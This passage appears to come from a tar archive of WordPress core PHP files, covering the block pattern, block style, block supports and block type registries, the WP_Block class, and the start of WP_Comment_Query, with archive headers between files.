@param string $category_name Pattern name including namespace. * @return bool True if the pattern was unregistered with success and false otherwise. */ public function unregister( $category_name ) { if ( ! $this->is_registered( $category_name ) ) { /* translators: %s: Block pattern name. */ $message = sprintf( __( 'Block pattern category "%s" not found.' ), $category_name ); _doing_it_wrong( __METHOD__, $message, '5.5.0' ); return false; } unset( $this->registered_categories[ $category_name ] ); return true; } /** * Retrieves an array containing the properties of a registered pattern category. * * @since 5.5.0 * * @param string $category_name Pattern category name. * @return array Registered pattern properties. */ public function get_registered( $category_name ) { if ( ! $this->is_registered( $category_name ) ) { return null; } return $this->registered_categories[ $category_name ]; } /** * Retrieves all registered pattern categories. * * @since 5.5.0 * * @return array Array of arrays containing the registered pattern categories properties. */ public function get_all_registered() { return array_values( $this->registered_categories ); } /** * Checks if a pattern category is registered. * * @since 5.5.0 * * @param string $category_name Pattern category name. * @return bool True if the pattern category is registered, false otherwise. */ public function is_registered( $category_name ) { return isset( $this->registered_categories[ $category_name ] ); } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 5.5.0 * * @return WP_Block_Pattern_Categories_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } /** * Registers a new pattern category. * * @since 5.5.0 * * @param string $category_name Pattern category name. * @param array $category_properties Array containing the properties of the category. * @return bool True if the pattern category was registered with success and false otherwise. */ function register_block_pattern_category( $category_name, $category_properties ) { return WP_Block_Pattern_Categories_Registry::get_instance()->register( $category_name, $category_properties ); } /** * Unregisters a pattern category. * * @since 5.5.0 * * @param string $category_name Pattern category name including namespace. * @return bool True if the pattern category was unregistered with success and false otherwise. */ function unregister_block_pattern_category( $category_name ) { return WP_Block_Pattern_Categories_Registry::get_instance()->unregister( $category_name ); } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-block-patterns-registry.php����������������������������������������������������������������0000644�����������������00000010632�15120262030�0013573 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Blocks API: WP_Block_Patterns_Registry class * * @package WordPress * @subpackage Blocks * @since 5.5.0 */ /** * Class used for interacting with patterns. * * @since 5.5.0 */ final class WP_Block_Patterns_Registry { /** * Registered patterns array. * * @since 5.5.0 * @var array */ private $registered_patterns = array(); /** * Container for the main instance of the class. * * @since 5.5.0 * @var WP_Block_Patterns_Registry|null */ private static $instance = null; /** * Registers a pattern. * * @since 5.5.0 * * @param string $pattern_name Pattern name including namespace. * @param array $pattern_properties Array containing the properties of the pattern: title, * content, description, viewportWidth, categories, keywords. * @return bool True if the pattern was registered with success and false otherwise. */ public function register( $pattern_name, $pattern_properties ) { if ( ! isset( $pattern_name ) || ! is_string( $pattern_name ) ) { _doing_it_wrong( __METHOD__, __( 'Pattern name must be a string.' ), '5.5.0' ); return false; } if ( ! isset( $pattern_properties['title'] ) || ! is_string( $pattern_properties['title'] ) ) { _doing_it_wrong( __METHOD__, __( 'Pattern title must be a string.' ), '5.5.0' ); return false; } if ( ! isset( $pattern_properties['content'] ) || ! is_string( $pattern_properties['content'] ) ) { _doing_it_wrong( __METHOD__, __( 'Pattern content must be a string.' ), '5.5.0' ); return false; } $this->registered_patterns[ $pattern_name ] = array_merge( $pattern_properties, array( 'name' => $pattern_name ) ); return true; } /** * Unregisters a pattern. * * @since 5.5.0 * * @param string $pattern_name Pattern name including namespace. * @return bool True if the pattern was unregistered with success and false otherwise. */ public function unregister( $pattern_name ) { if ( ! $this->is_registered( $pattern_name ) ) { /* translators: %s: Pattern name. */ $message = sprintf( __( 'Pattern "%s" not found.' ), $pattern_name ); _doing_it_wrong( __METHOD__, $message, '5.5.0' ); return false; } unset( $this->registered_patterns[ $pattern_name ] ); return true; } /** * Retrieves an array containing the properties of a registered pattern. * * @since 5.5.0 * * @param string $pattern_name Pattern name including namespace. * @return array Registered pattern properties. */ public function get_registered( $pattern_name ) { if ( ! $this->is_registered( $pattern_name ) ) { return null; } return $this->registered_patterns[ $pattern_name ]; } /** * Retrieves all registered patterns. * * @since 5.5.0 * * @return array Array of arrays containing the registered patterns properties, * and per style. */ public function get_all_registered() { return array_values( $this->registered_patterns ); } /** * Checks if a pattern is registered. * * @since 5.5.0 * * @param string $pattern_name Pattern name including namespace. * @return bool True if the pattern is registered, false otherwise. */ public function is_registered( $pattern_name ) { return isset( $this->registered_patterns[ $pattern_name ] ); } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 5.5.0 * * @return WP_Block_Patterns_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } /** * Registers a new pattern. * * @since 5.5.0 * * @param string $pattern_name Pattern name including namespace. * @param array $pattern_properties Array containing the properties of the pattern. * @return bool True if the pattern was registered with success and false otherwise. */ function register_block_pattern( $pattern_name, $pattern_properties ) { return WP_Block_Patterns_Registry::get_instance()->register( $pattern_name, $pattern_properties ); } /** * Unregisters a pattern. * * @since 5.5.0 * * @param string $pattern_name Pattern name including namespace. * @return bool True if the pattern was unregistered with success and false otherwise. */ function unregister_block_pattern( $pattern_name ) { return WP_Block_Patterns_Registry::get_instance()->unregister( $pattern_name ); } ������������������������������������������������������������������������������������������������������class-wp-block-styles-registry.php������������������������������������������������������������������0000644�����������������00000011162�15120262030�0013255 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Blocks API: WP_Block_Styles_Registry class * * @package WordPress * @subpackage Blocks * @since 5.3.0 */ /** * Class used for interacting with block styles. * * @since 5.3.0 */ final class WP_Block_Styles_Registry { /** * Registered block styles, as `$block_name => $block_style_name => $block_style_properties` multidimensional arrays. * * @since 5.3.0 * @var array */ private $registered_block_styles = array(); /** * Container for the main instance of the class. * * @since 5.3.0 * @var WP_Block_Styles_Registry|null */ private static $instance = null; /** * Registers a block style. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param array $style_properties Array containing the properties of the style name, label, * style (name of the stylesheet to be enqueued), * inline_style (string containing the CSS to be added). * @return bool True if the block style was registered with success and false otherwise. */ public function register( $block_name, $style_properties ) { if ( ! isset( $block_name ) || ! is_string( $block_name ) ) { $message = __( 'Block name must be a string.' ); _doing_it_wrong( __METHOD__, $message, '5.3.0' ); return false; } if ( ! isset( $style_properties['name'] ) || ! is_string( $style_properties['name'] ) ) { $message = __( 'Block style name must be a string.' ); _doing_it_wrong( __METHOD__, $message, '5.3.0' ); return false; } $block_style_name = $style_properties['name']; if ( ! isset( $this->registered_block_styles[ $block_name ] ) ) { $this->registered_block_styles[ $block_name ] = array(); } $this->registered_block_styles[ $block_name ][ $block_style_name ] = $style_properties; return true; } /** * Unregisters a block style. * * @param string $block_name Block type name including namespace. * @param string $block_style_name Block style name. * @return bool True if the block style was unregistered with success and false otherwise. */ public function unregister( $block_name, $block_style_name ) { if ( ! $this->is_registered( $block_name, $block_style_name ) ) { /* translators: 1: Block name, 2: Block style name. */ $message = sprintf( __( 'Block "%1$s" does not contain a style named "%2$s".' ), $block_name, $block_style_name ); _doing_it_wrong( __METHOD__, $message, '5.3.0' ); return false; } unset( $this->registered_block_styles[ $block_name ][ $block_style_name ] ); return true; } /** * Retrieves an array containing the properties of a registered block style. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param string $block_style_name Block style name. * @return array Registered block style properties. */ public function get_registered( $block_name, $block_style_name ) { if ( ! $this->is_registered( $block_name, $block_style_name ) ) { return null; } return $this->registered_block_styles[ $block_name ][ $block_style_name ]; } /** * Retrieves all registered block styles. * * @since 5.3.0 * * @return array Array of arrays containing the registered block styles properties grouped per block, * and per style. */ public function get_all_registered() { return $this->registered_block_styles; } /** * Retrieves registered block styles for a specific block. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @return array Array whose keys are block style names and whose value are block style properties. */ public function get_registered_styles_for_block( $block_name ) { if ( isset( $this->registered_block_styles[ $block_name ] ) ) { return $this->registered_block_styles[ $block_name ]; } return array(); } /** * Checks if a block style is registered. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param string $block_style_name Block style name. * @return bool True if the block style is registered, false otherwise. */ public function is_registered( $block_name, $block_style_name ) { return isset( $this->registered_block_styles[ $block_name ][ $block_style_name ] ); } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 5.3.0 * * @return WP_Block_Styles_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-block-supports.php�������������������������������������������������������������������������0000644�����������������00000012236�15120262030�0011766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Block support flags. * * @package WordPress * * @since 5.6.0 */ /** * Class encapsulating and implementing Block Supports. * * @since 5.6.0 * * @access private */ class WP_Block_Supports { /** * Config. * * @since 5.6.0 * @var array */ private $block_supports = array(); /** * Tracks the current block to be rendered. * * @since 5.6.0 * @var array */ public static $block_to_render = null; /** * Container for the main instance of the class. * * @since 5.6.0 * @var WP_Block_Supports|null */ private static $instance = null; /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 5.6.0 * * @return WP_Block_Supports The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * Initializes the block supports. It registes the block supports block attributes. * * @since 5.6.0 */ public static function init() { $instance = self::get_instance(); $instance->register_attributes(); } /** * Registers a block support. * * @since 5.6.0 * * @param string $block_support_name Block support name. * @param array $block_support_config Array containing the properties of the block support. */ public function register( $block_support_name, $block_support_config ) { $this->block_supports[ $block_support_name ] = array_merge( $block_support_config, array( 'name' => $block_support_name ) ); } /** * Generates an array of HTML attributes, such as classes, by applying to * the given block all of the features that the block supports. * * @since 5.6.0 * * @return array Array of HTML attributes. */ public function apply_block_supports() { $block_attributes = self::$block_to_render['attrs']; $block_type = WP_Block_Type_Registry::get_instance()->get_registered( self::$block_to_render['blockName'] ); // If no render_callback, assume styles have been previously handled. if ( ! $block_type || empty( $block_type ) ) { return array(); } $output = array(); foreach ( $this->block_supports as $block_support_config ) { if ( ! isset( $block_support_config['apply'] ) ) { continue; } $new_attributes = call_user_func( $block_support_config['apply'], $block_type, $block_attributes ); if ( ! empty( $new_attributes ) ) { foreach ( $new_attributes as $attribute_name => $attribute_value ) { if ( empty( $output[ $attribute_name ] ) ) { $output[ $attribute_name ] = $attribute_value; } else { $output[ $attribute_name ] .= " $attribute_value"; } } } } return $output; } /** * Registers the block attributes required by the different block supports. * * @since 5.6.0 */ private function register_attributes() { $block_registry = WP_Block_Type_Registry::get_instance(); $registered_block_types = $block_registry->get_all_registered(); foreach ( $registered_block_types as $block_type ) { if ( ! property_exists( $block_type, 'supports' ) ) { continue; } if ( ! $block_type->attributes ) { $block_type->attributes = array(); } foreach ( $this->block_supports as $block_support_config ) { if ( ! isset( $block_support_config['register_attribute'] ) ) { continue; } call_user_func( $block_support_config['register_attribute'], $block_type ); } } } } /** * Generates a string of attributes by applying to the current block being * rendered all of the features that the block supports. * * @since 5.6.0 * * @param array $extra_attributes Optional. Extra attributes to render on the block wrapper. * * @return string String of HTML classes. */ function get_block_wrapper_attributes( $extra_attributes = array() ) { $new_attributes = WP_Block_Supports::get_instance()->apply_block_supports(); if ( empty( $new_attributes ) && empty( $extra_attributes ) ) { return ''; } // This is hardcoded on purpose. // We only support a fixed list of attributes. $attributes_to_merge = array( 'style', 'class' ); $attributes = array(); foreach ( $attributes_to_merge as $attribute_name ) { if ( empty( $new_attributes[ $attribute_name ] ) && empty( $extra_attributes[ $attribute_name ] ) ) { continue; } if ( empty( $new_attributes[ $attribute_name ] ) ) { $attributes[ $attribute_name ] = $extra_attributes[ $attribute_name ]; continue; } if ( empty( $extra_attributes[ $attribute_name ] ) ) { $attributes[ $attribute_name ] = $new_attributes[ $attribute_name ]; continue; } $attributes[ $attribute_name ] = $extra_attributes[ $attribute_name ] . ' ' . $new_attributes[ $attribute_name ]; } foreach ( $extra_attributes as $attribute_name => $value ) { if ( ! in_array( $attribute_name, $attributes_to_merge, true ) ) { $attributes[ $attribute_name ] = $value; } } if ( empty( $attributes ) ) { return ''; } $normalized_attributes = array(); foreach ( $attributes as $key => $value ) { $normalized_attributes[] = $key . '="' . esc_attr( $value ) . '"'; } return implode( ' ', $normalized_attributes ); } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-block-type-registry.php��������������������������������������������������������������������0000644�����������������00000011115�15120262030�0012711 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Blocks API: WP_Block_Type_Registry class * * @package WordPress * @subpackage Blocks * @since 5.0.0 */ /** * Core class used for interacting with block types. * * @since 5.0.0 */ final class WP_Block_Type_Registry { /** * Registered block types, as `$name => $instance` pairs. * * @since 5.0.0 * @var WP_Block_Type[] */ private $registered_block_types = array(); /** * Container for the main instance of the class. * * @since 5.0.0 * @var WP_Block_Type_Registry|null */ private static $instance = null; /** * Registers a block type. * * @since 5.0.0 * * @see WP_Block_Type::__construct() * * @param string|WP_Block_Type $name Block type name including namespace, or alternatively * a complete WP_Block_Type instance. In case a WP_Block_Type * is provided, the $args parameter will be ignored. * @param array $args Optional. Array of block type arguments. Accepts any public property * of `WP_Block_Type`. See WP_Block_Type::__construct() for information * on accepted arguments. Default empty array. * @return WP_Block_Type|false The registered block type on success, or false on failure. */ public function register( $name, $args = array() ) { $block_type = null; if ( $name instanceof WP_Block_Type ) { $block_type = $name; $name = $block_type->name; } if ( ! is_string( $name ) ) { $message = __( 'Block type names must be strings.' ); _doing_it_wrong( __METHOD__, $message, '5.0.0' ); return false; } if ( preg_match( '/[A-Z]+/', $name ) ) { $message = __( 'Block type names must not contain uppercase characters.' ); _doing_it_wrong( __METHOD__, $message, '5.0.0' ); return false; } $name_matcher = '/^[a-z0-9-]+\/[a-z0-9-]+$/'; if ( ! preg_match( $name_matcher, $name ) ) { $message = __( 'Block type names must contain a namespace prefix. Example: my-plugin/my-custom-block-type' ); _doing_it_wrong( __METHOD__, $message, '5.0.0' ); return false; } if ( $this->is_registered( $name ) ) { /* translators: %s: Block name. */ $message = sprintf( __( 'Block type "%s" is already registered.' ), $name ); _doing_it_wrong( __METHOD__, $message, '5.0.0' ); return false; } if ( ! $block_type ) { $block_type = new WP_Block_Type( $name, $args ); } $this->registered_block_types[ $name ] = $block_type; return $block_type; } /** * Unregisters a block type. * * @since 5.0.0 * * @param string|WP_Block_Type $name Block type name including namespace, or alternatively * a complete WP_Block_Type instance. * @return WP_Block_Type|false The unregistered block type on success, or false on failure. */ public function unregister( $name ) { if ( $name instanceof WP_Block_Type ) { $name = $name->name; } if ( ! $this->is_registered( $name ) ) { /* translators: %s: Block name. */ $message = sprintf( __( 'Block type "%s" is not registered.' ), $name ); _doing_it_wrong( __METHOD__, $message, '5.0.0' ); return false; } $unregistered_block_type = $this->registered_block_types[ $name ]; unset( $this->registered_block_types[ $name ] ); return $unregistered_block_type; } /** * Retrieves a registered block type. * * @since 5.0.0 * * @param string $name Block type name including namespace. * @return WP_Block_Type|null The registered block type, or null if it is not registered. */ public function get_registered( $name ) { if ( ! $this->is_registered( $name ) ) { return null; } return $this->registered_block_types[ $name ]; } /** * Retrieves all registered block types. * * @since 5.0.0 * * @return WP_Block_Type[] Associative array of `$block_type_name => $block_type` pairs. */ public function get_all_registered() { return $this->registered_block_types; } /** * Checks if a block type is registered. * * @since 5.0.0 * * @param string $name Block type name including namespace. * @return bool True if the block type is registered, false otherwise. */ public function is_registered( $name ) { return isset( $this->registered_block_types[ $name ] ); } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 5.0.0 * * @return WP_Block_Type_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-block-type.php�����������������������������������������������������������������������������0000644�����������������00000020644�15120262030�0011052 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Blocks API: WP_Block_Type class * * @package WordPress * @subpackage Blocks * @since 5.0.0 */ /** * Core class representing a block type. * * @since 5.0.0 * * @see register_block_type() */ class WP_Block_Type { /** * Block API version. * * @since 5.6.0 * @var int */ public $api_version = 1; /** * Block type key. * * @since 5.0.0 * @var string */ public $name; /** * Human-readable block type label. * * @since 5.5.0 * @var string */ public $title = ''; /** * Block type category classification, used in search interfaces * to arrange block types by category. * * @since 5.5.0 * @var string|null */ public $category = null; /** * Setting parent lets a block require that it is only available * when nested within the specified blocks. * * @since 5.5.0 * @var array|null */ public $parent = null; /** * Block type icon. * * @since 5.5.0 * @var string|null */ public $icon = null; /** * A detailed block type description. * * @since 5.5.0 * @var string */ public $description = ''; /** * Additional keywords to produce block type as result * in search interfaces. * * @since 5.5.0 * @var array */ public $keywords = array(); /** * The translation textdomain. * * @since 5.5.0 * @var string|null */ public $textdomain = null; /** * Alternative block styles. * * @since 5.5.0 * @var array */ public $styles = array(); /** * Supported features. * * @since 5.5.0 * @var array|null */ public $supports = null; /** * Structured data for the block preview. * * @since 5.5.0 * @var array|null */ public $example = null; /** * Block type render callback. * * @since 5.0.0 * @var callable */ public $render_callback = null; /** * Block type attributes property schemas. * * @since 5.0.0 * @var array|null */ public $attributes = null; /** * Context values inherited by blocks of this type. * * @since 5.5.0 * @var array */ public $uses_context = array(); /** * Context provided by blocks of this type. * * @since 5.5.0 * @var array|null */ public $provides_context = null; /** * Block type editor script handle. * * @since 5.0.0 * @var string|null */ public $editor_script = null; /** * Block type front end script handle. * * @since 5.0.0 * @var string|null */ public $script = null; /** * Block type editor style handle. * * @since 5.0.0 * @var string|null */ public $editor_style = null; /** * Block type front end style handle. * * @since 5.0.0 * @var string|null */ public $style = null; /** * Constructor. * * Will populate object properties from the provided arguments. * * @since 5.0.0 * * @see register_block_type() * * @param string $block_type Block type name including namespace. * @param array|string $args { * Optional. Array or string of arguments for registering a block type. Any arguments may be defined, * however the ones described below are supported by default. Default empty array. * * * @type string $title Human-readable block type label. * @type string|null $category Block type category classification, used in * search interfaces to arrange block types by category. * @type array|null $parent Setting parent lets a block require that it is only * available when nested within the specified blocks. * @type string|null $icon Block type icon. * @type string $description A detailed block type description. * @type array $keywords Additional keywords to produce block type as * result in search interfaces. * @type string|null $textdomain The translation textdomain. * @type array $styles Alternative block styles. * @type array|null $supports Supported features. * @type array|null $example Structured data for the block preview. * @type callable|null $render_callback Block type render callback. * @type array|null $attributes Block type attributes property schemas. * @type array $uses_context Context values inherited by blocks of this type. * @type array|null $provides_context Context provided by blocks of this type. * @type string|null $editor_script Block type editor script handle. * @type string|null $script Block type front end script handle. * @type string|null $editor_style Block type editor style handle. * @type string|null $style Block type front end style handle. * } */ public function __construct( $block_type, $args = array() ) { $this->name = $block_type; $this->set_props( $args ); } /** * Renders the block type output for given attributes. * * @since 5.0.0 * * @param array $attributes Optional. Block attributes. Default empty array. * @param string $content Optional. Block content. Default empty string. * @return string Rendered block type output. */ public function render( $attributes = array(), $content = '' ) { if ( ! $this->is_dynamic() ) { return ''; } $attributes = $this->prepare_attributes_for_render( $attributes ); return (string) call_user_func( $this->render_callback, $attributes, $content ); } /** * Returns true if the block type is dynamic, or false otherwise. A dynamic * block is one which defers its rendering to occur on-demand at runtime. * * @since 5.0.0 * * @return bool Whether block type is dynamic. */ public function is_dynamic() { return is_callable( $this->render_callback ); } /** * Validates attributes against the current block schema, populating * defaulted and missing values. * * @since 5.0.0 * * @param array $attributes Original block attributes. * @return array Prepared block attributes. */ public function prepare_attributes_for_render( $attributes ) { // If there are no attribute definitions for the block type, skip // processing and return verbatim. if ( ! isset( $this->attributes ) ) { return $attributes; } foreach ( $attributes as $attribute_name => $value ) { // If the attribute is not defined by the block type, it cannot be // validated. if ( ! isset( $this->attributes[ $attribute_name ] ) ) { continue; } $schema = $this->attributes[ $attribute_name ]; // Validate value by JSON schema. An invalid value should revert to // its default, if one exists. This occurs by virtue of the missing // attributes loop immediately following. If there is not a default // assigned, the attribute value should remain unset. $is_valid = rest_validate_value_from_schema( $value, $schema, $attribute_name ); if ( is_wp_error( $is_valid ) ) { unset( $attributes[ $attribute_name ] ); } } // Populate values of any missing attributes for which the block type // defines a default. $missing_schema_attributes = array_diff_key( $this->attributes, $attributes ); foreach ( $missing_schema_attributes as $attribute_name => $schema ) { if ( isset( $schema['default'] ) ) { $attributes[ $attribute_name ] = $schema['default']; } } return $attributes; } /** * Sets block type properties. * * @since 5.0.0 * * @param array|string $args Array or string of arguments for registering a block type. * See WP_Block_Type::__construct() for information on accepted arguments. */ public function set_props( $args ) { $args = wp_parse_args( $args, array( 'render_callback' => null, ) ); $args['name'] = $this->name; /** * Filters the arguments for registering a block type. * * @since 5.5.0 * * @param array $args Array of arguments for registering a block type. * @param string $block_type Block type name including namespace. */ $args = apply_filters( 'register_block_type_args', $args, $this->name ); foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } } /** * Get all available block attributes including possible layout attribute from Columns block. * * @since 5.0.0 * * @return array Array of attributes. */ public function get_attributes() { return is_array( $this->attributes ) ? $this->attributes : array(); } } ��������������������������������������������������������������������������������������������class-wp-block.php����������������������������������������������������������������������������������0000644�����������������00000015155�15120262030�0010074 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Blocks API: WP_Block class * * @package WordPress * @since 5.5.0 */ /** * Class representing a parsed instance of a block. * * @since 5.5.0 * @property array $attributes */ class WP_Block { /** * Original parsed array representation of block. * * @since 5.5.0 * @var array */ public $parsed_block; /** * Name of block. * * @example "core/paragraph" * * @since 5.5.0 * @var string */ public $name; /** * Block type associated with the instance. * * @since 5.5.0 * @var WP_Block_Type */ public $block_type; /** * Block context values. * * @since 5.5.0 * @var array */ public $context = array(); /** * All available context of the current hierarchy. * * @since 5.5.0 * @var array * @access protected */ protected $available_context; /** * List of inner blocks (of this same class) * * @since 5.5.0 * @var WP_Block[] */ public $inner_blocks = array(); /** * Resultant HTML from inside block comment delimiters after removing inner * blocks. * * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..." * * @since 5.5.0 * @var string */ public $inner_html = ''; /** * List of string fragments and null markers where inner blocks were found * * @example array( * 'inner_html' => 'BeforeInnerAfter', * 'inner_blocks' => array( block, block ), * 'inner_content' => array( 'Before', null, 'Inner', null, 'After' ), * ) * * @since 5.5.0 * @var array */ public $inner_content = array(); /** * Constructor. * * Populates object properties from the provided block instance argument. * * The given array of context values will not necessarily be available on * the instance itself, but is treated as the full set of values provided by * the block's ancestry. This is assigned to the private `available_context` * property. Only values which are configured to consumed by the block via * its registered type will be assigned to the block's `context` property. * * @since 5.5.0 * * @param array $block Array of parsed block properties. * @param array $available_context Optional array of ancestry context values. * @param WP_Block_Type_Registry $registry Optional block type registry. */ public function __construct( $block, $available_context = array(), $registry = null ) { $this->parsed_block = $block; $this->name = $block['blockName']; if ( is_null( $registry ) ) { $registry = WP_Block_Type_Registry::get_instance(); } $this->block_type = $registry->get_registered( $this->name ); $this->available_context = $available_context; if ( ! empty( $this->block_type->uses_context ) ) { foreach ( $this->block_type->uses_context as $context_name ) { if ( array_key_exists( $context_name, $this->available_context ) ) { $this->context[ $context_name ] = $this->available_context[ $context_name ]; } } } if ( ! empty( $block['innerBlocks'] ) ) { $child_context = $this->available_context; if ( ! empty( $this->block_type->provides_context ) ) { foreach ( $this->block_type->provides_context as $context_name => $attribute_name ) { if ( array_key_exists( $attribute_name, $this->attributes ) ) { $child_context[ $context_name ] = $this->attributes[ $attribute_name ]; } } } $this->inner_blocks = new WP_Block_List( $block['innerBlocks'], $child_context, $registry ); } if ( ! empty( $block['innerHTML'] ) ) { $this->inner_html = $block['innerHTML']; } if ( ! empty( $block['innerContent'] ) ) { $this->inner_content = $block['innerContent']; } } /** * Returns a value from an inaccessible property. * * This is used to lazily initialize the `attributes` property of a block, * such that it is only prepared with default attributes at the time that * the property is accessed. For all other inaccessible properties, a `null` * value is returned. * * @since 5.5.0 * * @param string $name Property name. * @return array|null Prepared attributes, or null. */ public function __get( $name ) { if ( 'attributes' === $name ) { $this->attributes = isset( $this->parsed_block['attrs'] ) ? $this->parsed_block['attrs'] : array(); if ( ! is_null( $this->block_type ) ) { $this->attributes = $this->block_type->prepare_attributes_for_render( $this->attributes ); } return $this->attributes; } return null; } /** * Generates the render output for the block. * * @since 5.5.0 * * @param array $options { * Optional options object. * * @type bool $dynamic Defaults to 'true'. Optionally set to false to avoid using the block's render_callback. * } * @return string Rendered block output. */ public function render( $options = array() ) { global $post; $options = wp_parse_args( $options, array( 'dynamic' => true, ) ); $is_dynamic = $options['dynamic'] && $this->name && null !== $this->block_type && $this->block_type->is_dynamic(); $block_content = ''; if ( ! $options['dynamic'] || empty( $this->block_type->skip_inner_blocks ) ) { $index = 0; foreach ( $this->inner_content as $chunk ) { $block_content .= is_string( $chunk ) ? $chunk : $this->inner_blocks[ $index++ ]->render(); } } if ( $is_dynamic ) { $global_post = $post; $parent = WP_Block_Supports::$block_to_render; WP_Block_Supports::$block_to_render = $this->parsed_block; $block_content = (string) call_user_func( $this->block_type->render_callback, $this->attributes, $block_content, $this ); WP_Block_Supports::$block_to_render = $parent; $post = $global_post; } if ( ! empty( $this->block_type->script ) ) { wp_enqueue_script( $this->block_type->script ); } if ( ! empty( $this->block_type->style ) ) { wp_enqueue_style( $this->block_type->style ); } /** * Filters the content of a single block. * * @since 5.0.0 * * @param string $block_content The block content about to be appended. * @param array $block The full block, including name and attributes. */ $block_content = apply_filters( 'render_block', $block_content, $this->parsed_block ); /** * Filters the content of a single block. * * The dynamic portion of the hook name, `$name`, refers to * the block name, e.g. "core/paragraph". * * @since 5.7.0 * * @param string $block_content The block content about to be appended. * @param array $block The full block, including name and attributes. */ $block_content = apply_filters( "render_block_{$this->name}", $block_content, $this->parsed_block ); return $block_content; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-blog-assets.php����������������������������������������������������������������������������0000644�����������������00000000000�15120262030�0011204 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-comment-query.php��������������������������������������������������������������������������0000644�����������������00000130653�15120262030�0011610 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Comment API: WP_Comment_Query class * * @package WordPress * @subpackage Comments * @since 4.4.0 */ /** * Core class used for querying comments. * * @since 3.1.0 * * @see WP_Comment_Query::__construct() for accepted arguments. */ class WP_Comment_Query { /** * SQL for database query. * * @since 4.0.1 * @var string */ public $request; /** * Metadata query container * * @since 3.5.0 * @var WP_Meta_Query A meta query instance. */ public $meta_query = false; /** * Metadata query clauses. * * @since 4.4.0 * @var array */ protected $meta_query_clauses; /** * SQL query clauses. * * @since 4.4.0 * @var array */ protected $sql_clauses = array( 'select' => '', 'from' => '', 'where' => array(), 'groupby' => '', 'orderby' => '', 'limits' => '', ); /** * SQL WHERE clause. * * Stored after the {@see 'comments_clauses'} filter is run on the compiled WHERE sub-clauses. * * @since 4.4.2 * @var string */ protected $filtered_where_clause; /** * Date query container * * @since 3.7.0 * @var WP_Date_Query A date query instance. */ public $date_query = false; /** * Query vars set by the user. * * @since 3.1.0 * @var array */ public $query_vars; /** * Default values for query vars. * * @since 4.2.0 * @var array */ public $query_var_defaults; /** * List of comments located by the query. * * @since 4.0.0 * @var array */ public $comments; /** * The amount of found comments for the current query. * * @since 4.4.0 * @var int */ public $found_comments = 0; /** * The number of pages. * * @since 4.4.0 * @var int */ public $max_num_pages = 0; /** * Make private/protected methods readable for backward compatibility. * * @since 4.0.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( 'get_search_sql' === $name ) { return $this->get_search_sql( ...$arguments ); } return false; } /** * Constructor. * * Sets up the comment query, based on the query vars passed. * * @since 4.2.0 * @since 4.4.0 `$parent__in` and `$parent__not_in` were added. * @since 4.4.0 Order by `comment__in` was added. `$update_comment_meta_cache`, `$no_found_rows`, * `$hierarchical`, and `$update_comment_post_cache` were added. * @since 4.5.0 Introduced the `$author_url` argument. * @since 4.6.0 Introduced the `$cache_domain` argument. * @since 4.9.0 Introduced the `$paged` argument. * * @param string|array $query { * Optional. Array or query string of comment query parameters. Default empty. * * @type string $author_email Comment author email address. Default empty. * @type string $author_url Comment author URL. Default empty. * @type int[] $author__in Array of author IDs to include comments for. Default empty. * @type int[] $author__not_in Array of author IDs to exclude comments for. Default empty. * @type int[] $comment__in Array of comment IDs to include. Default empty. * @type int[] $comment__not_in Array of comment IDs to exclude. Default empty. * @type bool $count Whether to return a comment count (true) or array of * comment objects (false). Default false. * @type array $date_query Date query clauses to limit comments by. See WP_Date_Query. * Default null. * @type string $fields Comment fields to return. Accepts 'ids' for comment IDs * only or empty for all fields. Default empty. * @type int $ID Currently unused. * @type 